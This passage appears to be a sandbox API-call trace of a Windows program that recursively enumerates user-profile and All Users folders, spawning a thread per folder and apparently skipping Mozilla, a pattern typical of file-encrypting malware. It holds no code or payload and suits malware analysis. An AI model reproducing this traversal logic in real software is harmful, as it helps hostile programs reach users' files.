lpParameter=0x1b858bb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x690 [0085.932] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0085.932] wcscmp (_String1="Recent", _String2=".") returned 1 [0085.932] wcscmp (_String1="Recent", _String2="..") returned 1 [0085.932] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858c10 [0085.932] wcscpy (in: _Dest=0x1b858c10, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.932] wcscat (in: _Dest=0x1b858c10, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.932] wcscat (in: _Dest=0x1b858c10, _Source="Recent" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Recent" [0085.932] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858c10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x694 [0085.933] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d22d5a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0085.933] wcscmp (_String1="Saved Games", _String2=".") returned 1 [0085.933] wcscmp (_String1="Saved Games", _String2="..") returned 1 [0085.933] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x54) returned 0x1b858c70 [0085.933] wcscpy (in: _Dest=0x1b858c70, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.933] wcscat (in: _Dest=0x1b858c70, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.933] wcscat (in: _Dest=0x1b858c70, _Source="Saved Games" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Saved Games" [0085.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858c70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x698 [0085.934] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28de3e80, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2d1e12e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0085.934] wcscmp (_String1="Searches", _String2=".") returned 1 [0085.934] wcscmp (_String1="Searches", _String2="..") returned 1 [0085.934] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4e) returned 0x1b858cd0 [0085.934] wcscpy (in: _Dest=0x1b858cd0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.934] wcscat (in: _Dest=0x1b858cd0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.934] wcscat (in: _Dest=0x1b858cd0, _Source="Searches" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Searches" [0085.934] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858cd0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x69c [0085.935] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0085.935] wcscmp (_String1="SendTo", _String2=".") returned 1 [0085.935] wcscmp (_String1="SendTo", _String2="..") returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858d30 [0085.935] wcscpy (in: _Dest=0x1b858d30, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.935] wcscat (in: _Dest=0x1b858d30, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.935] wcscat (in: _Dest=0x1b858d30, _Source="SendTo" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\SendTo" [0085.935] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a0 [0085.935] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x29129cc0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x29129cc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x29129cc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0085.935] wcscmp (_String1="Start Menu", _String2=".") returned 1 [0085.935] wcscmp (_String1="Start Menu", _String2="..") returned 1 [0085.935] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1b858d90 [0085.935] wcscpy (in: _Dest=0x1b858d90, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.936] wcscat (in: _Dest=0x1b858d90, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.936] wcscat (in: _Dest=0x1b858d90, _Source="Start Menu" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Start Menu" [0085.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858d90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a4 [0085.936] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x2914fe20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0085.936] wcscmp (_String1="Templates", _String2=".") returned 1 [0085.936] wcscmp (_String1="Templates", _String2="..") returned 1 [0085.936] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x50) returned 0x1b858df0 [0085.937] wcscpy (in: _Dest=0x1b858df0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.937] wcscat (in: _Dest=0x1b858df0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.937] wcscat (in: _Dest=0x1b858df0, _Source="Templates" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Templates" [0085.937] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858df0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6a8 [0085.937] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c8dde0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c8dde0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0085.938] wcscmp (_String1="Videos", _String2=".") returned 1 [0085.938] wcscmp (_String1="Videos", _String2="..") returned 1 [0085.938] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858e50 [0085.938] wcscpy (in: _Dest=0x1b858e50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz" [0085.938] wcscat (in: _Dest=0x1b858e50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\" [0085.938] wcscat (in: _Dest=0x1b858e50, _Source="Videos" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos" [0085.938] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b858e50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6ac [0085.939] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x28cd94e0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xd9c8dde0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xd9c8dde0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 0 [0085.939] FindClose (in: hFindFile=0x1b7ceac0 | out: hFindFile=0x1b7ceac0) returned 1 [0085.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82f1d0) returned 1 [0085.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf40) returned 1 [0085.939] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82bf90) returned 1 Thread: id = 134 os_tid = 0x500 [0085.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2a) returned 0x1b7d80c0 [0085.946] wcscpy (in: _Dest=0x1b7d80c0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.946] wcscat (in: _Dest=0x1b7d80c0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.946] wcscat (in: _Dest=0x1b7d80c0, _Source="*" | out: _Dest="C:\\Users\\All Users\\*") returned="C:\\Users\\All Users\\*" [0085.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1b82f1d0 [0085.946] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\*", lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b7ceac0 [0085.946] wcscmp (_String1=".", _String2=".") returned 0 [0085.946] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0085.946] wcscmp (_String1="..", _String2=".") returned 1 [0085.946] wcscmp (_String1="..", _String2="..") returned 0 [0085.946] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8000ce40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1 [0085.946] wcscmp (_String1="Adobe", _String2=".") returned 1 [0085.946] wcscmp (_String1="Adobe", _String2="..") returned 1 [0085.946] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x32) returned 0x1b7d8080 [0085.946] wcscpy (in: _Dest=0x1b7d8080, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.946] wcscat (in: _Dest=0x1b7d8080, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.947] wcscat (in: _Dest=0x1b7d8080, _Source="Adobe" | out: _Dest="C:\\Users\\All Users\\Adobe") returned="C:\\Users\\All Users\\Adobe" [0085.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8080, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x514 [0085.947] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0085.947] wcscmp (_String1="Application Data", _String2=".") returned 1 [0085.947] wcscmp (_String1="Application Data", _String2="..") returned 1 [0085.947] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x48) returned 0x1b82bf90 [0085.947] wcscpy (in: _Dest=0x1b82bf90, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.947] wcscat (in: _Dest=0x1b82bf90, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.947] wcscat (in: _Dest=0x1b82bf90, _Source="Application Data" | out: _Dest="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0085.947] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bf90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b0 [0085.948] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0085.948] wcscmp (_String1="Desktop", _String2=".") returned 1 [0085.948] wcscmp (_String1="Desktop", _String2="..") returned 1 [0085.948] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d8000 [0085.948] wcscpy (in: _Dest=0x1b7d8000, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.948] wcscat (in: _Dest=0x1b7d8000, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.948] wcscat (in: _Dest=0x1b7d8000, _Source="Desktop" | out: _Dest="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0085.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b7d8000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b4 [0085.949] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0085.949] wcscmp (_String1="Documents", _String2=".") returned 1 [0085.949] wcscmp (_String1="Documents", _String2="..") returned 1 [0085.949] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82bf40 [0085.949] wcscpy (in: _Dest=0x1b82bf40, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.949] wcscat (in: _Dest=0x1b82bf40, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.949] wcscat (in: _Dest=0x1b82bf40, _Source="Documents" | out: _Dest="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0085.949] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82bf40, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6b8 [0085.955] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0085.955] wcscmp (_String1="Favorites", _String2=".") returned 1 [0085.955] wcscmp (_String1="Favorites", _String2="..") returned 1 [0085.955] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c350 [0085.955] wcscpy (in: _Dest=0x1b82c350, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.955] wcscat (in: _Dest=0x1b82c350, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.955] wcscat (in: _Dest=0x1b82c350, _Source="Favorites" | out: _Dest="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0085.955] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c350, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6bc [0085.959] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0085.959] wcscmp (_String1="Microsoft", _String2=".") returned 1 [0085.959] wcscmp (_String1="Microsoft", _String2="..") returned 1 [0085.959] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3a) returned 0x1b82c3a0 [0085.960] wcscpy (in: _Dest=0x1b82c3a0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.960] wcscat (in: _Dest=0x1b82c3a0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.960] wcscat (in: _Dest=0x1b82c3a0, _Source="Microsoft" | out: _Dest="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0085.960] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c3a0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c0 [0085.960] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe79db030, ftCreationTime.dwHighDateTime=0x1d2dda1, ftLastAccessTime.dwLowDateTime=0xed25d0a0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xed25d0a0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft Help", cAlternateFileName="MICROS~2")) returned 1 [0085.960] wcscmp (_String1="Microsoft Help", _String2=".") returned 1 [0085.960] wcscmp (_String1="Microsoft Help", _String2="..") returned 1 [0085.960] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x44) returned 0x1b82c3f0 [0085.960] wcscpy (in: _Dest=0x1b82c3f0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.961] wcscat (in: _Dest=0x1b82c3f0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.961] wcscat (in: _Dest=0x1b82c3f0, _Source="Microsoft Help" | out: _Dest="C:\\Users\\All Users\\Microsoft Help") returned="C:\\Users\\All Users\\Microsoft Help" [0085.961] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b82c3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x6c4 [0085.961] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xaf8556a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf8556a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf8556a0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Mozilla", cAlternateFileName="")) returned 1 [0085.961] wcscmp (_String1="Mozilla", _String2=".") returned 1 [0085.961] wcscmp (_String1="Mozilla", _String2="..") returned 1 [0085.961] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x36) returned 0x1b7d7fc0 [0085.961] wcscpy (in: _Dest=0x1b7d7fc0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.961] wcscat (in: _Dest=0x1b7d7fc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") returned="C:\\Users\\All Users\\" [0085.961] wcscat (in: _Dest=0x1b7d7fc0, _Source="Mozilla" | out: _Dest="C:\\Users\\All Users\\Mozilla") returned="C:\\Users\\All Users\\Mozilla" [0085.961] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7d7fc0) returned 1 [0085.961] FindNextFileW (in: hFindFile=0x1b7ceac0, lpFindFileData=0x1b82f1d0 | out: lpFindFileData=0x1b82f1d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7e3c6d00, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7e3c6d00, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7eea3160, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Oracle", cAlternateFileName="")) returned 1 [0085.962] wcscmp (_String1="Oracle", _String2=".") returned 1 [0085.962] wcscmp (_String1="Oracle", _String2="..") returned 1 [0085.962] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x34) returned 0x1b7d7fc0 [0085.962] wcscpy (in: _Dest=0x1b7d7fc0, _Source="C:\\Users\\All Users" | out: _Dest="C:\\Users\\All Users") returned="C:\\Users\\All Users" [0085.962] wcscat (in: _Dest=0x1b7d7fc0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\") 